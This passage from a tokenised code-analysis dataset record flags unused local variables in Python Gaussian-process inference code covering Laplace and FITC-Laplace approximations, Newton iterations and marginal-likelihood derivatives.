'FITC_EP', '(', 'Inference', ')', ':', '___EOS___']", "index": 819 } ]
[ { "span": "s ", "start_line": 501, "start_column": 12, "end_line": 501, "end_column": 13 }, { "span": "Nfun ", "start_line": 503, "start_column": 12, "end_line": 503, "end_column": 16 }, { "span": "s ", "start_line": 633, "start_column": 12, "end_line": 633, "end_column": 13 }, { "span": "Nfun ", "start_line": 633, "start_column": 50, "end_line": 633, "end_column": 54 }, { "span": "isWneg ", "start_line": 641, "start_column": 17, "end_line": 641, "end_column": 23 }, { "span": "lZ ", "start_line": 879, "start_column": 16, "end_line": 879, "end_column": 18 } ]
[]
1
true
[ "[CLS]_", "Un", "used_", "local_", "variable_", "[SEP]_", "class_", "Lap", "lace", "_", "(_", "Infer", "ence_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "evaluate_", "(_", "self_", ",_", "mean", "func_", ",_", "cov", "func_", ",_", "lik", "func_", ",_", "x_", ",_", "y_", ",_", "narg", "out_", "=_", "1_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "tol_", "=_", "1e-6_", "#", " ", "tolera", "nce", " ", "for", " ", "whe", "n", " ", "to", " ", "stop", " ", "the", " ", "New", "ton", " ", "iterations_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "sma", "x_", "=_", "2_", ";_", "Nl", "ine_", "=_", "20_", ";_", "thr_", "=_", "1e-4_", "#", " ", "line", " ", "search", " ", "parameters_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "maxi", "t_", "=_", "20_", "#", " ", "max", " ", "number", " ", "of", " ", "New", "ton", " ", "step", "s", " ", "in", " ", "f_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "inf", "func_", "=_", "self_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "K_", "=_", "cov", "func_", "._", "get", "Cov", "Matrix_", "(_", "x_", "=_", "x_", ",_", "mode_", "=_", "'", "train", "'_", ")_", "#", " ", "evaluate", " ", "the", " ", "covariance", " ", "matrix_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "m_", "=_", "mean", "func_", "._", "get", "Mean_", "(_", "x_", ")_", "#", " ", "evaluate", " ", "the", " ", "mean", " ", "vector_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "n_", ",_", "D_", "=_", "x_", "._", "shape_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "Psi", "\\u", "old_", "=_", "np_", "._", "inf_", "#", " ", "make", " ", "sure", " ", "whi", "le", " ", "loop", " ", "starts", " ", "by", " ", "the", " ", "large", "st", " ", "old", " ", "objecti", "ve", " ", "val_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "self_", "._", "last", "\\u", "alpha_", "is_", "None_", ":_", "#", " ", "find", " ", "a", " ", "good", " ", "startin", "g", " ", "point", " ", "for", " ", "alpha", " ", "and", " ", "f_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "alpha_", "=_", "np_", "._", "zeros_", "(_", "(_", "n_", ",_", "1_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "f_", "=_", "np_", "._", "dot_", "(_", "K_", ",_", "alpha_", ")_", "+_", "m_", "#", " ", "start", " ", "at", " ", "mean", " ", "if", " ", "size", "s", " ", "not", " ", "match_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "var", "gou", "t_", "=_", "lik", "func_", "._", "evaluate_", "(_", "y_", ",_", "f_", ",_", "None_", ",_", "inf", "func_", ",_", "None_", ",_", "3_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "lp_", "=_", "var", "gou", "t_", "[_", "0_", "]_", ";_", "dlp", "_", "=_", "var", "gou", "t_", "[_", "1_", "]_", ";_", "d2", "lp_", "=_", "var", "gou", "t_", "[_", "2_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "W_", "=_", "-_", "d2", "lp_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "Psi", "\\u", "new_", "=_", "-_", "lp_", "._", "sum_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "alpha_", "=_", "self_", "._", "last", "\\u", "alpha_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "f_", "=_", "np_", "._", "dot_", "(_", "K_", ",_", "alpha_", ")_", "+_", "m_", "#", " ", "try", " ", "last", " ", "one_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "var", "gou", "t_", "=_", "lik", "func_", "._", "evaluate_", "(_", "y_", ",_", "f_", ",_", "None_", ",_", "inf", "func_", ",_", "None_", ",_", "3_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "lp_", "=_", "var", "gou", "t_", "[_", "0_", "]_", ";_", "dlp", "_", "=_", "var", "gou", "t_", "[_", "1_", "]_", ";_", "d2", "lp_", "=_", "var", "gou", "t_", "[_", "2_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "W_", "=_", "-_", "d2", "lp_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "Psi", "\\u", "new_", "=_", "old", "\\u", "div_", "(_", "np_", "._", "dot_", "(_", "alpha_", "._", "T_", ",_", "(_", "f_", "-_", "m_", ")_", ")_", ",_", "2._", ")_", "-_", "lp_", "._", "sum_", "(_", ")_", "#", " ", "objecti", "ve", " ", "for", " ", "last", " ", "alpha_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "var", "gou", "t_", "=_", "-_", "lik", "func_", "._", "evaluate_", "(_", "y_", ",_", "m_", ",_", "None_", ",_", "inf", "func_", ",_", "None_", ",_", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "Psi", "\\u", "def_", "=_", "var", "gou", "t_", "[_", "0_", "]_", "#", " ", "objecti", "ve", " ", "for", " ", "default", " ", "init", " ", "f", "==", "m_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "Psi", "\\u", "def_", "<_", "Psi", "\\u", "new_", ":_", "#", " ", "if", " ", "default", " ", "is", " ", "bett", "er", ",", " ", "we", " ", "use", " ", "it_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "alpha_", "=_", "np_", "._", "zeros_", "(_", "(_", "n_", ",_", "1_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "f_", "=_", "np_", "._", "dot_", "(_", "K_", ",_", "alpha_", ")_", "+_", "m_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "var", "gou", "t_", "=_", "lik", "func_", "._", "evaluate_", "(_", "y_", ",_", "f_", ",_", "None_", ",_", "inf", "func_", ",_", "None_", ",_", "3_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "lp_", "=_", "var", "gou", "t_", "[_", "0_", "]_", ";_", "dlp", "_", "=_", "var", "gou", "t_", "[_", "1_", "]_", ";_", "d2", "lp_", "=_", "var", "gou", "t_", "[_", "2_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "W_", "=_", "-_", "d2", "lp_", ";_", "Psi", "\\u", "new_", "=_", "-_", "lp_", "._", "sum_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "is", "Wn", "eg_", "=_", "np_", "._", "any_", "(_", "W_", "<_", "0_", ")_", "#", " ", "flag", " ", "indicati", "ng", " ", "whe", "ther", " ", "we", " ", "found", " ", "negati", "ve", " ", "values", " ", "of", " ", "W_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "it_", "=_", "0_", "#", " ", "this", " ", "happ", "ens", " ", "for", " ", "the", " ", "Stud", "ent", "'", "s", " ", "t", " ", "likelihood_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "while_", "(_", "Psi", "\\u", "old_", "-_", "Psi", "\\u", "new_", ">_", "tol_", ")_", "and_", "it_", "<_", "maxi", "t_", ":_", "#", " ", "begin", " ", "New", "ton_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "Psi", "\\u", "old_", "=_", "Psi", "\\u", "new_", ";_", "it_", "+=_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "is", "Wn", "eg_", ":_", "#", " ", "stab", "ilis", "e", " ", "the", " ", "New", "ton", " ", "direction", " ", "in", " ", "case", " ", "W", " ", "has", " ", "negati", "ve", " ", "values_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "W_", "=_", "np_", "._", "maximum_", "(_", "W_", ",_", "0_", ")_", "#", " ", "stab", "ilis", "e", " ", "the", " ", "Hes", "sia", "n", " ", "to", " ", "guaran", "tee", " ", "posti", "ve", " ", "definit", "ene", "ss_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "tol_", "=_", "1e-10_", "#", " ", "increase", " ", "accu", "rac", "y", " ", "to", " ", "als", "o", " ", "get", " ", "the", " ", "derivatives", " ", "right_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "s", "W", " ", "=", " ", "np", ".", "sqrt", "(", "W", ");", " ", "L", " ", "=", " ", "np", ".", "linalg", ".", "choles", "ky", "(", "np", ".", "eye", "(", "n", ")", " ", "+", " ", "np", ".", "dot", "(", "s", "W", ",", "s", "W", ".", "T", ")*", "K", ").", "T_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "s", "W_", "=_", "np_", "._", "sqrt_", "(_", "W_", ")_", ";_", "L_", "=_", "jit", "chol", "_", "(_", "np_", "._", "eye_", "(_", "n_", ")_", "+_", "np_", "._", "dot_", "(_", "s", "W_", ",_", "s", "W_", "._", "T_", ")_", "*_", "K_", ")_", "._", "T_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "b_", "=_", "W_", "*_", "(_", "f_", "-_", "m_", ")_", "+_", "dlp", "_", ";_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "dal", "pha", "_", "=_", "b_", "-_", "s", "W_", "*_", "solve", "\\u", "chol", "_", "(_", "L_", ",_", "s", "W_", "*_", "np_", "._", "dot_", "(_", "K_", ",_", "b_", ")_", ")_", "-_", "alpha_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "var", "gou", "t_", "=_", "bre", "nt", "min_", "(_", "0_", ",_", "sma", "x_", ",_", "Nl", "ine_", ",_", "thr_", ",_", "self_", "._", "\\u", "Psi", "\\u", "line_", ",_", "4_", ",_", "dal", "pha", "_", ",_", "alpha_", ",_", "K_", ",_", "m_", ",_", "lik", "func_", ",_", "y_", ",_", "inf", "func_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "s_", "=_", "var", "gou", "t_", "[_", "0_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "Psi", "\\u", "new_", "=_", "var", "gou", "t_", "[_", "1_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "Nf", "un_", "=_", "var", "gou", "t_", "[_", "2_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "alpha_", "=_", "var", "gou", "t_", "[_", "3_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "f_", "=_", "var", "gou", "t_", "[_", "4_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "dlp", "_", "=_", "var", "gou", "t_", "[_", "5_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "W_", "=_", "var", "gou", "t_", "[_", "6_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "is", "Wn", "eg_", "=_", "np_", "._", "any_", "(_", "W_", "<_", "0_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "last", "\\u", "alpha_", "=_", "alpha_", "#", " ", "remember", " ", "for", " ", "next", " ", "call_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "var", "gou", "t_", "=_", "lik", "func_", "._", "evaluate_", "(_", "y_", ",_", "f_", ",_", "None_", ",_", "inf", "func_", ",_", "None_", ",_", "4_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "lp_", "=_", "var", "gou", "t_", "[_", "0_", "]_", ";_", "dlp", "_", "=_", "var", "gou", "t_", "[_", "1_", "]_", ";_", "d2", "lp_", "=_", "var", "gou", "t_", "[_", "2_", "]_", ";_", "d3", "lp_", "=_", "var", "gou", "t_", "[_", "3_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "W_", "=_", "-_", "d2", "lp_", ";_", "is", "Wn", "eg_", "=_", "np_", "._", "any_", "(_", "W_", "<_", "0_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "post_", "=_", "post", "Struct_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "post_", "._", "alpha_", "=_", "alpha_", "#", " ", "return", " ", "the", " ", "posterior", " ", "parameters_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "post_", "._", "s", "W_", "=_", "np_", "._", "sqrt_", "(_", "np_", "._", "abs_", "(_", "W_", ")_", ")_", "*_", "np_", "._", "sign_", "(_", "W_", ")_", "#", " ", "preserve", " ", "sign", " ", "in", " ", "case", " ", "of", " ", "negative_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "is", "Wn", "eg_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "[_", "ld", "A_", ",_", "i", "A_", ",_", "post_", "._", "L_", "]_", "=_", "self_", "._", "\\u", "logd", "et", "A_", "(_", "K_", ",_", "W_", ",_", "3_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "nl", "Z_", "=_", "old", "\\u", "div_", "(_", "np_", "._", "dot_", "(_", "alpha_", "._", "T_", ",_", "(_", "f_", "-_", "m_", ")_", ")_", ",_", "2._", ")_", "-_", "lp_", "._", "sum_", "(_", ")_", "+_", "old", "\\u", "div_", "(_", "ld", "A_", ",_", "2._", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "nl", "Z_", "=_", "nl", "Z_", "[_", "0_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "s", "W_", "=_", "post_", "._", "s", "W_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "post", ".", "L", " ", "=", " ", "np", ".", "linalg", ".", "choles", "ky", "(", "np", ".", "eye", "(", "n", ")+", "np", ".", "dot", "(", "s", "W", ",", "s", "W", ".", "T", ")*", "K", ").", "T_", "\\u\\u\\uNL\\u\\u\\u_", "post_", "._", "L_", "=_", "jit", "chol", "_", "(_", "np_", "._", "eye_", "(_", "n_", ")_", "+_", "np_", "._", "dot_", "(_", "s", "W_", ",_", "s", "W_", "._", "T_", ")_", "*_", "K_", ")_", "._", "T_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "nl", "Z_", "=_", "old", "\\u", "div_", "(_", "np_", "._", "dot_", "(_", "alpha_", "._", "T_", ",_", "(_", "f_", "-_", "m_", ")_", ")_", ",_", "2._", ")_", "+_", "(_", "np_", "._", "log_", "(_", "np_", "._", "diag_", "(_", "post_", "._", "L_", ")_", ")_", "-_", "np_", "._", "reshape_", "(_", "lp_", ",_", "(_", "lp_", "._", "shape_", "[_", "0_", "]_", ",_", ")_", ")_", ")_", "._", "sum_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "nl", "Z_", "=_", "nl", "Z_", "[_", "0_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "narg", "out_", ">_", "2_", ":_", "#", " ", "do", " ", "we", " ", "want", " ", "derivatives", "?", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "dn", "l", "Z_", "=_", "dn", "l", "ZS", "truct", "_", "(_", "mean", "func_", ",_", "cov", "func_", ",_", "lik", "func_", ")_", "#", " ", "allocate", " ", "space", " ", "for", " ", "derivatives", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "is", "Wn", "eg_", ":_", "#", " ", "switch", " ", "bet", "ween", " ", "Cho", "les", "ky", " ", "and", " ", "LU", " ", "decomposition", " ", "mode_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "Z_", "=_", "-_", "post_", "._", "L_", "#", " ", "inv", "(", "K", "+", "inv", "(", "W", "))", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "g_", "=_", "old", "\\u", "div_", "(_", "np_", "._", "atl", "east", "\\u", "2d_", "(_", "(_", "i", "A_", "*_", "K_", ")_", "._", "sum_", "(_", "axis_", "=_", "1_", ")_", ")_", "._", "T_", ",_", "2_", ")_", "#", " ", "deriv", ".", " ", "of", " ", "ln", "|", "B", "|", " ", "wrt", " ", "W", ";", " ", "g", " ", "=", " ", "diag", "(", "inv", "(", "inv", "(", "K", ")+", "diag", "(", "W", ")))", "/", "2_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "Z_", "=_", "np_", "._", "tile_", "(_", "s", "W_", ",_", "(_", "1_", ",_", "n_", ")_", ")_", "*_", "solve", "\\u", "chol", "_", "(_", "post_", "._", "L_", ",_", "np_", "._", "diag_", "(_", "np_", "._", "reshape_", "(_", "s", "W_", ",_", "(_", "s", "W_", "._", "shape_", "[_", "0_", "]_", ",_", ")_", ")_", ")_", ")_", "#", "s", "W", "*", "inv", "(", "B", ")*", "s", "W", "=", "inv", "(", "K", "+", "inv", "(", "W", "))", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "C_", "=_", "np_", "._", "linalg_", "._", "solve_", "(_", "post_", "._", "L_", "._", "T_", ",_", "np_", "._", "tile_", "(_", "s", "W_", ",_", "(_", "1_", ",_", "n_", ")_", ")_", "*_", "K_", ")_", "#", " ", "deriv", ".", " ", "of", " ", "ln", "|", "B", "|", " ", "wrt", " ", "W_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "g_", "=_", "old", "\\u", "div_", "(_", "np_", "._", "atl", "east", "\\u", "2d_", "(_", "(_", "np_", "._", "diag_", "(_", "K_", ")_", "-_", "(_", "C_", "**_", "2_", ")_", "._", "sum_", "(_", "axis_", "=_", "0_", ")_", "._", "T_", ")_", ")_", "._", "T_", ",_", "2._", ")_", "#", " ", "g", " ", "=", " ", "diag", "(", "inv", "(", "inv", "(", "K", ")+", "W", "))", "/", "2_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "df", "hat_", "=_", "g_", "*_", "d3", "lp_", "#", " ", "deriv", ".", " ", "of", " ", "nl", "Z", " ", "wrt", ".", " ", "fh", "at", ":", " ", "df", "hat", "=", "diag", "(", "inv", "(", "inv", "(", "K", ")+", "W", "))", ".*", "d3", "lp", "/", "2_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "ii_", "in_", "range_", "(_", "len_", "(_", "cov", "func_", "._", "hyp", "_", ")_", ")_", ":_", "#", " ", "covariance", " ", "hypers", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "d", "K_", "=_", "cov", "func_", "._", "get", "Der", "Matrix_", "(_", "x_", "=_", "x_", ",_", "mode_", "=_", "'", "train", "'_", ",_", "der_", "=_", "ii_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "dn", "l", "Z_", "._", "cov_", "[_", "ii_", "]_", "=_", "old", "\\u", "div_", "(_", "(_", "Z_", "*_", "d", "K_", ")_", "._", "sum_", "(_", ")_", ",_", "2._", ")_", "-_", "old", "\\u", "div_", "(_", "np_", "._", "dot_", "(_", "alpha_", "._", "T_", ",_", "np_", "._", "dot_", "(_", "d", "K_", ",_", "alpha_", ")_", ")_", ",_", "2._", ")_", "#", " ", "explicit", " ", "part_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "b_", "=_", "np_", "._", "dot_", "(_", "d", "K_", ",_", "dlp", "_", ")_", "#", " ", "b", "-", "K", "*(", "Z", "*", "b", ")", " ", "=", " ", "inv", "(", "eye", "(", "n", ")+", "K", "*", "diag", "(", "W", "))", "*", "b_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "dn", "l", "Z_", "._", "cov_", "[_", "ii_", "]_", "-=_", "np_", "._", "dot_", "(_", "df", "hat_", "._", "T_", ",_", "b_", "-_", "np_", "._", "dot_", "(_", "K_", ",_", "np_", "._", "dot_", "(_", "Z_", ",_", "b_", ")_", ")_", ")_", "#", " ", "implicit", " ", "part_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "dn", "l", "Z_", "._", "cov_", "[_", "ii_", "]_", "=_", "dn", "l", "Z_", "._", "cov_", "[_", "ii_", "]_", "[_", "0_", ",_", "0_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "for_", "ii_", "in_", "range_", "(_", "len_", "(_", "lik", "func_", "._", "hyp", "_", ")_", ")_", ":_", "#", " ", "likelihood", " ", "hypers", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "[_", "lp", "\\u", "dh", "yp_", ",_", "dlp", "\\u", "dh", "yp_", ",_", "d2", "lp", "\\u", "dh", "yp_", "]_", "=_", "lik", "func_", "._", "evaluate_", "(_", "y_", ",_", "f_", ",_", "None_", ",_", "inf", "func_", ",_", "ii_", ",_", "3_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "dn", "l", "Z_", "._", "lik", "_", "[_", "ii_", "]_", "=_", "-_", "np_", "._", "dot_", "(_", "g_", "._", "T_", ",_", "d2", "lp", "\\u", "dh", "yp_", ")_", "-_", "lp", "\\u", "dh", "yp_", "._", "sum_", "(_", ")_", "#", " ", "explicit", " ", "part_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "b_", "=_", "np_", "._", "dot_", "(_", "K_", ",_", "dlp", "\\u", "dh", "yp_", ")_", "#", " ", "b", "-", "K", "*(", "Z", "*", "b", ")", " ", "=", " ", "inv", "(", "eye", "(", "n", ")+", "K", "*", "diag", "(", "W", "))", "*", "b_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "dn", "l", "Z_", "._", "lik", "_", "[_", "ii_", "]_", "-=_", "np_", "._", "dot_", "(_", "df", "hat_", "._", "T_", ",_", "b_", "-_", "np_", "._", "dot_", "(_", "K_", ",_", "np_", "._", "dot_", "(_", "Z_", ",_", "b_", ")_", ")_", ")_", "#", " ", "implicit", " ", "part_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "dn", "l", "Z_", "._", "lik", "_", "[_", "ii_", "]_", "=_", "dn", "l", "Z_", "._", "lik", "_", "[_", "ii_", "]_", "[_", "0_", ",_", "0_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "for_", "ii_", "in_", "range_", "(_", "len_", "(_", "mean", "func_", "._", "hyp", "_", ")_", ")_", ":_", "#", " ", "mean", " ", "hypers", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "dm_", "=_", "mean", "func_", "._", "get", "Der", "Matrix_", "(_", "x_", ",_", "ii_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "dn", "l", "Z_", "._", "mean_", "[_", "ii_", "]_", "=_", "-_", "np_", "._", "dot_", "(_", "alpha_", "._", "T_", ",_", "dm_", ")_", "#", " ", "explicit", " ", "part_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "dn", "l", "Z_", "._", "mean_", "[_", "ii_", "]_", "-=_", "np_", "._", "dot_", "(_", "df", "hat_", "._", "T_", ",_", "dm_", "-_", "np_", "._", "dot_", "(_", "K_", ",_", "np_", "._", "dot_", "(_", "Z_", ",_", "dm_", ")_", ")_", ")_", "#", " ", "implicit", " ", "part_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "dn", "l", "Z_", "._", "mean_", "[_", "ii_", "]_", "=_", "dn", "l", "Z_", "._", "mean_", "[_", "ii_", "]_", "[_", "0_", ",_", "0_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "post_", ",_", "nl", "Z_", "[_", "0_", "]_", ",_", "dn", "l", "Z_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "post_", ",_", "nl", "Z_", "[_", "0_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "FIT", "C", "\\u", "Lap", "lace", "_", "(_", "Infer", "ence_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "evaluate_", "(_", "self_", ",_", "mean", "func_", ",_", "cov", "func_", ",_", "lik", "func_", ",_", "x_", ",_", "y_", ",_", "narg", "out_", "=_", "1_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "not_", "isinstance_", "(_", "cov", "func_", ",_", "cov_", "._", "FIT", "CO", "f", "Kernel_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "Exception_", "(_", "'", "On", "ly", " ", "cov", "FIT", "C", " ", "support", "ed", ".'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "tol_", "=_", "1e-6_", "#", " ", "tolera", "nce", " ", "for", " ", "whe", "n", " ", "to", " ", "stop", " ", "the", " ", "New", "ton", " ", "iterations_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "sma", "x_", "=_", "2_", ";_", "Nl", "ine_", "=_", "100_", ";_", "thr_", "=_", "1e-4_", "#", " ", "line", " ", "search", " ", "parameters_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "maxi", "t_", "=_", "20_", "#", " ", "max", " ", "number", " ", "of", " ", "New", "ton", " ", "step", "s", " ", "in", " ", "f_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "inf", "func_", "=_", "Lap", "lace", "_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "diag", "K_", ",_", "Ku", "u_", ",_", "Ku", "_", "=_", "cov", "func_", "._", "get", "Cov", "Matrix_", "(_", "x_", "=_", "x_", ",_", "mode_", "=_", "'", "train", "'_", ")_", "#", " ", "evaluate", " ", "the", " ", "covariance", " ", "matrix_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "m_", "=_", "mean", "func_", "._", "get", "Mean_", "(_", "x_", ")_", "#", " ", "evaluate", " ", "the", " ", "mean", " ", "vector_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "lik", "func_", "._", "hyp", "_", ":_", "#", " ", "hard", " ", "code", "d", " ", "induc", "ing", " ", "inputs", " ", "noise_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "sn", "2_", "=_", "np_", "._", "exp_", "(_", "2._", "*_", "lik", "func_", "._", "hyp", "_", "[_", "-_", "1_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "sn", "u2_", "=_", "1.e", "-6_", "*_", "sn", "2_", "#", " ", "similar", " ", "to", " ", "inf", "FIT", "C_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "sn", "u2_", "=_", "1.e", "-6_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "n_", ",_", "D_", "=_", "x_", "._", "shape_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "nu_", "=_", "Ku", "u_", "._", "shape_", "[_", "0_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "rot", "180_", "=_", "lambda_", "A_", ":_", "np_", "._", "rot", "90_", "(_", "np_", "._", "rot", "90_", "(_", "A_", ")_", ")_", "#", " ", "litt", "le", " ", "help", "er", " ", "functions_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "chol", "\\u", "inv", " ", "=", " ", "lambda", " ", "A", ":", " ", "np", ".", "linalg", ".", "solve", "(", " ", "rot", "180", "(", " ", "np", ".", "linalg", ".", "choles", "ky", "(", "rot", "180", "(", "A", "))", " ", "),", "np", ".", "eye", "(", "nu", "))", " ", "#", " ", "chol", "(", "inv", "(", "A", "))", "_", "\\u\\u\\uNL\\u\\u\\u_", "chol", "\\u", "inv_", "=_", "lambda_", "A_", ":_", "rot", "180_", 